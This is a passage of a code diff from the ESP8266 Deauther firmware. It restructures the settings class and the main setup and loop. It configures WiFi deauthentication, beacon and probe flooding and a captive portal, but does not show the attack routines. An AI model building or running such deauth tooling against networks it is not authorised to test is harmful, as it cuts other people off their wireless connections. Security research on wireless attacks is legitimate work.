if ((channel >= 1) && (channel <= 14)) {
|
||||
Settings::channel = channel;
|
||||
setWifiChannel(channel);
|
||||
changed = true;
|
||||
prnt(S_CHANNEL_CHANGE);
|
||||
prntln(channel);
|
||||
} else {
|
||||
prntln(S_CHANNEL_ERROR);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setSSID(String ssid) {
|
||||
if ((ssid.length() > 0) && (ssid.length() <= 32)) {
|
||||
ssid = fixUtf8(ssid);
|
||||
Settings::ssid = ssid;
|
||||
changed = true;
|
||||
} else {
|
||||
prntln(S_ERROR_SSID_LEN);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setPassword(String password) {
|
||||
if ((password.length() >= 8) && (password.length() <= 32)) {
|
||||
password = fixUtf8(password);
|
||||
Settings::password = password;
|
||||
changed = true;
|
||||
} else {
|
||||
prntln(S_ERROR_PASSWORD_LEN);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setCLI(bool cli) {
|
||||
Settings::cli = cli;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDisplayInterface(bool displayInterface) {
|
||||
Settings::displayInterface = displayInterface;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setWebInterface(bool webInterface) {
|
||||
Settings::webInterface = webInterface;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setChTime(uint16_t chTime) {
|
||||
Settings::chTime = chTime;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setMacSt(String macStr) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (eqls(macStr, S_RANDOM)) getRandomMac(mac);
|
||||
else strToMac(macStr, mac);
|
||||
|
||||
setMacSt(mac);
|
||||
}
|
||||
|
||||
bool Settings::setMacSt(uint8_t* macSt) {
|
||||
if (macSt[0] % 2 == 0) {
|
||||
memcpy(Settings::macSt, macSt, 6);
|
||||
changed = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void Settings::setMacAP(String macStr) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (eqls(macStr, S_RANDOM)) getRandomMac(mac);
|
||||
else strToMac(macStr, mac);
|
||||
|
||||
setMacAP(mac);
|
||||
}
|
||||
|
||||
bool Settings::setMacAP(uint8_t* macAP) {
|
||||
if (macAP[0] % 2 == 0) {
|
||||
memcpy(Settings::macAP, macAP, 6);
|
||||
changed = true;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void Settings::setRandomTX(bool randomTX) {
|
||||
Settings::randomTX = randomTX;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAttackTimeout(uint32_t attackTimeout) {
|
||||
Settings::attackTimeout = attackTimeout;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setLedEnabled(bool ledEnabled) {
|
||||
Settings::ledEnabled = ledEnabled;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
|
||||
if (probesPerSSID > 0) {
|
||||
Settings::probesPerSSID = probesPerSSID;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::setHidden(bool hidden) {
|
||||
Settings::hidden = hidden;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setCaptivePortal(bool captivePortal) {
|
||||
Settings::captivePortal = captivePortal;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setMinDeauths(uint16_t minDeauths) {
|
||||
Settings::minDeauths = minDeauths;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDisplayTimeout(uint32_t displayTimeout) {
|
||||
Settings::displayTimeout = displayTimeout;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setLang(String lang) {
|
||||
Settings::lang = lang;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setSerialEcho(bool serialEcho) {
|
||||
Settings::serialEcho = serialEcho;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setWebSpiffs(bool webSpiffs) {
|
||||
Settings::webSpiffs = webSpiffs;
|
||||
|
||||
changed = true;
|
||||
void Settings::setDisplaySettings(const display_settings_t& display) {
|
||||
data.display = display;
|
||||
changed = true;
|
||||
}
|
|
@ -1,139 +1,227 @@
|
|||
#ifndef Settings_h
|
||||
#define Settings_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#define VERSION "v2.1.0"
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void saveJSONFile(String path, JsonObject& root);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern String fixUtf8(String str);
|
||||
extern void copyWebFiles(bool force);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
|
||||
class Settings {
|
||||
public:
|
||||
Settings();
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void reset();
|
||||
void print();
|
||||
|
||||
void set(const char* str, String value);
|
||||
String get(const char* str);
|
||||
|
||||
String getVersion();
|
||||
uint16_t getDeauthsPerTarget();
|
||||
uint8_t getDeauthReason();
|
||||
bool getBeaconChannel();
|
||||
uint8_t getForcePackets();
|
||||
bool getAutosave();
|
||||
uint32_t getAutosaveTime();
|
||||
bool getBeaconInterval();
|
||||
uint8_t getChannel();
|
||||
String getSSID();
|
||||
String getPassword();
|
||||
bool getCLI();
|
||||
bool getDisplayInterface();
|
||||
bool getWebInterface();
|
||||
uint16_t getChTime();
|
||||
uint8_t* getMacSt();
|
||||
uint8_t* getMacAP();
|
||||
bool getRandomTX();
|
||||
uint32_t getAttackTimeout();
|
||||
bool getLedEnabled();
|
||||
uint8_t getProbesPerSSID();
|
||||
bool getHidden();
|
||||
bool getCaptivePortal();
|
||||
uint16_t getMinDeauths();
|
||||
uint32_t getDisplayTimeout();
|
||||
String getLang();
|
||||
bool getSerialEcho();
|
||||
bool getWebSpiffs();
|
||||
|
||||
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
|
||||
void setDeauthReason(uint8_t deauthReason);
|
||||
void setBeaconChannel(bool beaconChannel);
|
||||
void setForcePackets(uint8_t forcePackets);
|
||||
void setAutosave(bool autosave);
|
||||
void setAutosaveTime(uint32_t autosaveTime);
|
||||
void setBeaconInterval(bool beaconInterval);
|
||||
void setChannel(uint8_t channel);
|
||||
void setSSID(String ssid);
|
||||
void setPassword(String password);
|
||||
void setCLI(bool cli);
|
||||
void setDisplayInterface(bool displayInterface);
|
||||
void setWebInterface(bool webInterface);
|
||||
void setChTime(uint16_t chTime);
|
||||
void setMacSt(String macStr);
|
||||
bool setMacSt(uint8_t* macSt);
|
||||
void setMacAP(String macStr);
|
||||
bool setMacAP(uint8_t* macAP);
|
||||
void setRandomTX(bool randomTX);
|
||||
void setAttackTimeout(uint32_t attackTimeout);
|
||||
void setLedEnabled(bool ledEnabled);
|
||||
void setProbesPerSSID(uint8_t probesPerSSID);
|
||||
void setHidden(bool hidden);
|
||||
void setCaptivePortal(bool captivePortal);
|
||||
void setMinDeauths(uint16_t minDeauths);
|
||||
void setDisplayTimeout(uint32_t displayTimeout);
|
||||
void setLang(String lang);
|
||||
void setSerialEcho(bool serialEcho);
|
||||
void setWebSpiffs(bool webSpiffs);
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
|
||||
String version = VERSION;
|
||||
|
||||
bool beaconChannel = false;
|
||||
bool autosave = true;
|
||||
bool beaconInterval = false;
|
||||
bool cli = true;
|
||||
bool displayInterface = USE_DISPLAY;
|
||||
bool webInterface = true;
|
||||
bool webSpiffs = false;
|
||||
bool randomTX = false;
|
||||
bool ledEnabled = true;
|
||||
bool serialEcho = true;
|
||||
|
||||
uint32_t attackTimeout = 600;
|
||||
uint32_t autosaveTime = 10000;
|
||||
uint32_t displayTimeout = 600;
|
||||
uint16_t deauthsPerTarget = 20;
|
||||
uint16_t chTime = 384;
|
||||
uint16_t minDeauths = 3;
|
||||
uint8_t forcePackets = 1;
|
||||
uint8_t channel = 9;
|
||||
uint8_t deauthReason = 1;
|
||||
uint8_t* macSt;
|
||||
uint8_t* macAP;
|
||||
uint8_t probesPerSSID = 1;
|
||||
|
||||
String ssid = "pwned";
|
||||
String password = "deauther";
|
||||
bool hidden = false;
|
||||
bool captivePortal = true;
|
||||
String lang = "en";
|
||||
|
||||
String FILE_PATH = "/settings.json";
|
||||
|
||||
String getJsonStr();
|
||||
};
|
||||
|
||||
#endif // ifndef Settings_h
|
||||
#ifndef Settings_h
|
||||
#define Settings_h
|
||||
|
||||
// ====== Includes ====== //
|
||||
// Libraries
|
||||
#include <Arduino.h> // Arduino String, Serial
|
||||
#include <FS.h> // SPIFFS
|
||||
|
||||
// Local files
|
||||
#include "A_config.h" // Default Settings
|
||||
#include "language.h" // prnt and prntln
|
||||
|
||||
// ====== Constants ====== //
|
||||
#define SETTINGS_PATH "/settings.json"
|
||||
|
||||
// ====== External Functions ===== //
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
|
||||
// ====== Strings ===== //
|
||||
const char S_OK[] PROGMEM = "OK";
|
||||
const char S_INVALID_HASH[] PROGMEM = "Invalid Hash - reseted to default";
|
||||
const char S_SETTINGS_LOADED[] PROGMEM = "Loading settings...";
|
||||
const char S_SETTINGS_RESETED[] PROGMEM = "Settings reseted";
|
||||
const char S_SETTINGS_SAVED[] PROGMEM = "Settings saved in ";
|
||||
const char S_ERROR_SAVING[] PROGMEM = "ERROR: saving ";
|
||||
const char S_SETTINGS_HEADER[] PROGMEM = "[========== Settings ==========]";
|
||||
const char S_CHANGED_SETTING[] PROGMEM = "Changed setting ";
|
||||
|
||||
// ===== JSON Strings ====== //
|
||||
// General
|
||||
const char S_JSON_TRUE[] PROGMEM = "true";
|
||||
const char S_JSON_FALSE[] PROGMEM = "false";
|
||||
|
||||
// Version
|
||||
const char S_JSON_VERSION[] PROGMEM = "version";
|
||||
|
||||
// Autosave
|
||||
const char S_JSON_AUTOSAVE[] PROGMEM = "autosave";
|
||||
const char S_JSON_AUTOSAVETIME[] PROGMEM = "autosavetime";
|
||||
|
||||
// Attack
|
||||
const char S_JSON_BEACONCHANNEL[] PROGMEM = "beaconchannel";
|
||||
const char S_JSON_RANDOMTX[] PROGMEM = "randomTX";
|
||||
const char S_JSON_ATTACKTIMEOUT[] PROGMEM = "attacktimeout";
|
||||
const char S_JSON_DEAUTHSPERTARGET[] PROGMEM = "deauthspertarget";
|
||||
const char S_JSON_DEAUTHREASON[] PROGMEM = "deauthReason";
|
||||
const char S_JSON_BEACONINTERVAL[] PROGMEM = "beaconInterval";
|
||||
const char S_JSON_PROBESPERSSID[] PROGMEM = "probesPerSSID";
|
||||
|
||||
// WiFi
|
||||
const char S_JSON_CHANNEL[] PROGMEM = "channel";
|
||||
const char S_JSON_MACST[] PROGMEM = "macSt";
|
||||
const char S_JSON_MACAP[] PROGMEM = "macAP";
|
||||
|
||||
// Sniffer
|
||||
const char S_JSON_CHTIME[] PROGMEM = "chtime";
|
||||
const char S_JSON_MIN_DEAUTHS[] PROGMEM = "minDeauths";
|
||||
|
||||
// AP
|
||||
const char S_JSON_SSID[] PROGMEM = "ssid";
|
||||
const char S_JSON_PASSWORD[] PROGMEM = "password";
|
||||
const char S_JSON_HIDDEN[] PROGMEM = "hidden";
|
||||
const char S_JSON_IP[] PROGMEM = "ip";
|
||||
|
||||
// Web
|
||||
const char S_JSON_WEBINTERFACE[] PROGMEM = "webinterface";
|
||||
const char S_JSON_CAPTIVEPORTAL[] PROGMEM = "captivePortal";
|
||||
const char S_JSON_WEB_SPIFFS[] PROGMEM = "webSpiffs";
|
||||
const char S_JSON_LANG[] PROGMEM = "lang";
|
||||
|
||||
// CLI
|
||||
const char S_JSON_SERIALINTERFACE[] PROGMEM = "serial";
|
||||
const char S_JSON_SERIAL_ECHO[] PROGMEM = "serialEcho";
|
||||
|
||||
// LED
|
||||
const char S_JSON_LEDENABLED[] PROGMEM = "led";
|
||||
|
||||
// Display
|
||||
const char S_JSON_DISPLAYINTERFACE[] PROGMEM = "display";
|
||||
const char S_JSON_DISPLAY_TIMEOUT[] PROGMEM = "displayTimeout";
|
||||
|
||||
// ===== VERSION ===== //
|
||||
typedef struct version_t {
|
||||
uint8_t major = DEAUTHER_VERSION_MAJOR;
|
||||
uint8_t minor = DEAUTHER_VERSION_MINOR;
|
||||
uint8_t revision = DEAUTHER_VERSION_REVISION;
|
||||
} version_t;
|
||||
|
||||
// ===== AUTOSAVE ===== //
|
||||
typedef struct autosave_settings_t {
|
||||
bool enabled = AUTOSAVE_ENABLED;
|
||||
uint32_t time = AUTOSAVE_TIME;
|
||||
} autosave_t;
|
||||
|
||||
// ===== ATTACK ===== //
|
||||
typedef enum beacon_interval_t {
|
||||
INTERVAL_1S = 0,
|
||||
INTERVAL_100MS = 1
|
||||
} beacon_interval_t;
|
||||
|
||||
typedef struct attack_settings_t {
|
||||
// General
|
||||
bool attack_all_ch = ATTACK_ALL_CH;
|
||||
bool random_tx = RANDOM_TX;
|
||||
uint32_t timeout = ATTACK_TIMEOUT;
|
||||
|
||||
// Deauth
|
||||
uint8_t deauths_per_target = DEAUTHS_PER_TARGET;
|
||||
uint8_t deauth_reason = DEAUTH_REASON;
|
||||
|
||||
// Beacon
|
||||
beacon_interval_t beacon_interval = (beacon_interval_t)(int)BEACON_INTERVAL_100MS;
|
||||
|
||||
// Probe
|
||||
uint8_t probe_frames_per_ssid = PROBE_FRAMES_PER_SSID;
|
||||
} attack_settings_t;
|
||||
|
||||
// ====== WIFI ====== //
|
||||
typedef struct wifi_settings_t {
|
||||
uint8_t channel = 1;
|
||||
uint8_t mac_st[6];
|
||||
uint8_t mac_ap[6];
|
||||
} wifi_settings_t;
|
||||
|
||||
// ===== SNIFFER ===== //
|
||||
typedef struct sniffer_settings_t {
|
||||
uint16_t channel_time = CH_TIME;
|
||||
uint16_t min_deauth_frames = MIN_DEAUTH_FRAMES;
|
||||
} sniffer_settings_t;
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
typedef struct access_point_settings_t {
|
||||
char ssid[33] = AP_SSID;
|
||||
char password[65] = AP_PASSWD;
|
||||
bool hidden = AP_HIDDEN;
|
||||
uint8_t ip[4] = AP_IP_ADDR;
|
||||
} access_point_settings_t;
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
typedef struct web_settings_t {
|
||||
bool enabled = WEB_ENABLED;
|
||||
bool captive_portal = WEB_CAPTIVE_PORTAL;
|
||||
bool use_spiffs = WEB_USE_SPIFFS;
|
||||
char lang[3] = DEFAULT_LANG;
|
||||
} web_settings_t;
|
||||
|
||||
// ===== CLI ===== //
|
||||
typedef struct cli_settings_t {
|
||||
bool enabled = CLI_ENABLED;
|
||||
bool serial_echo = CLI_ECHO;
|
||||
} cli_settings_t;
|
||||
|
||||
// ===== LED ===== //
|
||||
typedef struct led_settings_t {
|
||||
bool enabled = USE_LED;
|
||||
} led_settings_t;
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
typedef struct display_settings_t {
|
||||
bool enabled = USE_DISPLAY;
|
||||
uint32_t timeout = DISPLAY_TIMEOUT;
|
||||
} display_settings_t;
|
||||
|
||||
// ===== SETTINGS ===== //
|
||||
typedef struct settings_t {
|
||||
version_t version;
|
||||
autosave_settings_t autosave;
|
||||
attack_settings_t attack;
|
||||
wifi_settings_t wifi;
|
||||
sniffer_settings_t sniffer;
|
||||
access_point_settings_t ap;
|
||||
web_settings_t web;
|
||||
cli_settings_t cli;
|
||||
led_settings_t led;
|
||||
display_settings_t display;
|
||||
} settings_t;
|
||||
|
||||
// ===== CHECK SUM / HASH ====== //
|
||||
typedef struct settings_hash_t {
|
||||
uint8_t hash[20];
|
||||
} settings_hash_t;
|
||||
|
||||
// ===== SETTINGS ===== //
|
||||
class Settings {
|
||||
private:
|
||||
settings_t data;
|
||||
|
||||
bool changed = false;
|
||||
|
||||
settings_hash_t calcHash(settings_t data);
|
||||
|
||||
String getJsonStr();
|
||||
|
||||
public:
|
||||
void load();
|
||||
void save(bool force = false);
|
||||
|
||||
void reset();
|
||||
void print();
|
||||
|
||||
const settings_t& getAllSettings();
|
||||
const version_t & getVersion();
|
||||
const autosave_settings_t& getAutosaveSettings();
|
||||
const attack_settings_t & getAttackSettings();
|
||||
const wifi_settings_t & getWifiSettings();
|
||||
const sniffer_settings_t & getSnifferSettings();
|
||||
const access_point_settings_t& getAccessPointSettings();
|
||||
const web_settings_t& getWebSettings();
|
||||
const cli_settings_t& getCLISettings();
|
||||
const led_settings_t& getLEDSettings();
|
||||
const display_settings_t& getDisplaySettings();
|
||||
|
||||
void setAllSettings(settings_t& settings);
|
||||
void setAutosaveSettings(const autosave_settings_t& autosave);
|
||||
void setAttackSettings(const attack_settings_t& attack);
|
||||
void setWifiSettings(const wifi_settings_t& wifi);
|
||||
void setSnifferSettings(const sniffer_settings_t& sniffer);
|
||||
void setAccessPointSettings(const access_point_settings_t& ap);
|
||||
void setWebSettings(const web_settings_t& web);
|
||||
void setCLISettings(const cli_settings_t& cli);
|
||||
void setLEDSettings(const led_settings_t& led);
|
||||
void setDisplaySettings(const display_settings_t& display);
|
||||
};
|
||||
|
||||
#endif // ifndef Settings_h
|
|
@ -20,7 +20,7 @@ extern String searchVendor(uint8_t* mac);
|
|||
extern bool macMulticast(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Stations {
|
||||
public:
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,180 +1,194 @@
|
|||
/*
|
||||
===========================================
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
|
||||
extern "C" {
|
||||
// Please follow this tutorial:
|
||||
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
|
||||
// And be sure to have the right board selected
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include <EEPROM.h>
|
||||
|
||||
#include <ArduinoJson.h>
|
||||
#if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
// The software was build using ArduinoJson v5.x
|
||||
// version 6 is still in beta at the time of writing
|
||||
// go to tools -> manage libraries, search for ArduinoJSON and install the latest version 5
|
||||
#error Please upgrade/downgrade ArduinoJSON library to version 5!
|
||||
#endif
|
||||
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "A_config.h"
|
||||
#include "webfiles.h"
|
||||
|
||||
#include "LED.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
LED led;
|
||||
Settings settings;
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Attack attack;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
|
||||
#include "wifi.h"
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
|
||||
|
||||
// Start EEPROM
|
||||
EEPROM.begin(4096);
|
||||
|
||||
// auto repair when in boot-loop
|
||||
uint8_t bootCounter = EEPROM.read(0);
|
||||
|
||||
if (bootCounter >= 3) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
prntln(SETUP_OK);
|
||||
} else {
|
||||
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// load settings
|
||||
settings.load();
|
||||
|
||||
// set mac for access point
|
||||
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());
|
||||
|
||||
// start WiFi
|
||||
WiFi.mode(WIFI_OFF);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// set mac for station
|
||||
wifi_set_macaddr(STATION_IF, settings.getMacSt());
|
||||
|
||||
// start display
|
||||
if (settings.getDisplayInterface()) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
|
||||
}
|
||||
|
||||
// copy web files to SPIFFS
|
||||
copyWebFiles(false);
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// set channel
|
||||
setWifiChannel(settings.getChannel());
|
||||
|
||||
// load Wifi settings: SSID, password,...
|
||||
#ifdef DEFAULT_SSID
|
||||
if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
|
||||
#endif // ifdef DEFAULT_SSID
|
||||
loadWifiConfigDefaults();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings.getCLI()) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings.getWebInterface()) startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(settings.getVersion());
|
||||
|
||||
// setup LED
|
||||
led.setup();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
|
||||
led.update(); // update LED color
|
||||
wifiUpdate(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings.save(false);
|
||||
}
|
||||
|
||||
if (!booted) {
|
||||
// reset boot counter
|
||||
EEPROM.write(0, 0);
|
||||
EEPROM.commit();
|
||||
booted = true;
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
}
|
||||
}
|
||||
/*
|
||||
===========================================
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
|
||||
extern "C" {
|
||||
// Please follow this tutorial:
|
||||
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
|
||||
// And be sure to have the right board selected
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#include "EEPROMHelper.h"
|
||||
|
||||
#include <ArduinoJson.h>
|
||||
#if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
// The software was build using ArduinoJson v5.x
|
||||
// version 6 is still in beta at the time of writing
|
||||
// go to tools -> manage libraries, search for ArduinoJSON and install version 5
|
||||
#error Please upgrade/downgrade ArduinoJSON library to version 5!
|
||||
#endif // if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "A_config.h"
|
||||
#include "webfiles.h"
|
||||
|
||||
#include "LED.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
LED led;
|
||||
Settings settings;
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Attack attack;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
|
||||
#include "wifi.h"
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
bool spiffsError = !SPIFFS.begin();
|
||||
prntln(spiffsError ? SETUP_ERROR : SETUP_OK);
|
||||
|
||||
// Start EEPROM
|
||||
EEPROMHelper::begin(EEPROM_SIZE);
|
||||
|
||||
#ifdef FORMAT_SPIFFS
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
prntln(SETUP_OK);
|
||||
#endif // ifdef FORMAT_SPIFFS
|
||||
|
||||
#ifdef FORMAT_EEPROM
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
#endif // ifdef FORMAT_EEPROM
|
||||
|
||||
// Format SPIFFS when in boot-loop
|
||||
if (spiffsError || !EEPROMHelper::checkBootNum(BOOT_COUNTER_ADDR)) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
prntln(SETUP_OK);
|
||||
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
}
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// load settings
|
||||
#ifndef RESET_SETTINGS
|
||||
settings.load();
|
||||
#else // ifndef RESET_SETTINGS
|
||||
settings.reset();
|
||||
settings.save();
|
||||
#endif // ifndef RESET_SETTINGS
|
||||
|
||||
// set mac address
|
||||
wifi_set_macaddr(STATION_IF, (uint8_t*)settings.getWifiSettings().mac_st);
|
||||
wifi_set_macaddr(SOFTAP_IF, (uint8_t*)settings.getWifiSettings().mac_ap);
|
||||
|
||||
// start WiFi
|
||||
WiFi.mode(WIFI_OFF);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// start display
|
||||
if (settings.getDisplaySettings().enabled) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
|
||||
}
|
||||
|
||||
// copy web files to SPIFFS
|
||||
copyWebFiles(false);
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// set channel
|
||||
setWifiChannel(settings.getWifiSettings().channel);
|
||||
|
||||
// load Wifi settings: SSID, password,...
|
||||
loadWifiConfigDefaults();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings.getCLISettings().enabled) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings.getWebSettings().enabled) startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(DEAUTHER_VERSION);
|
||||
|
||||
// setup LED
|
||||
led.setup();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
|
||||
led.update(); // update LED color
|
||||
wifiUpdate(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosaveSettings().enabled
|
||||
&& (currentTime - autosaveTime > settings.getAutosaveSettings().time)) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings.save(false);
|
||||
}
|
||||
|
||||
if (!booted) {
|
||||
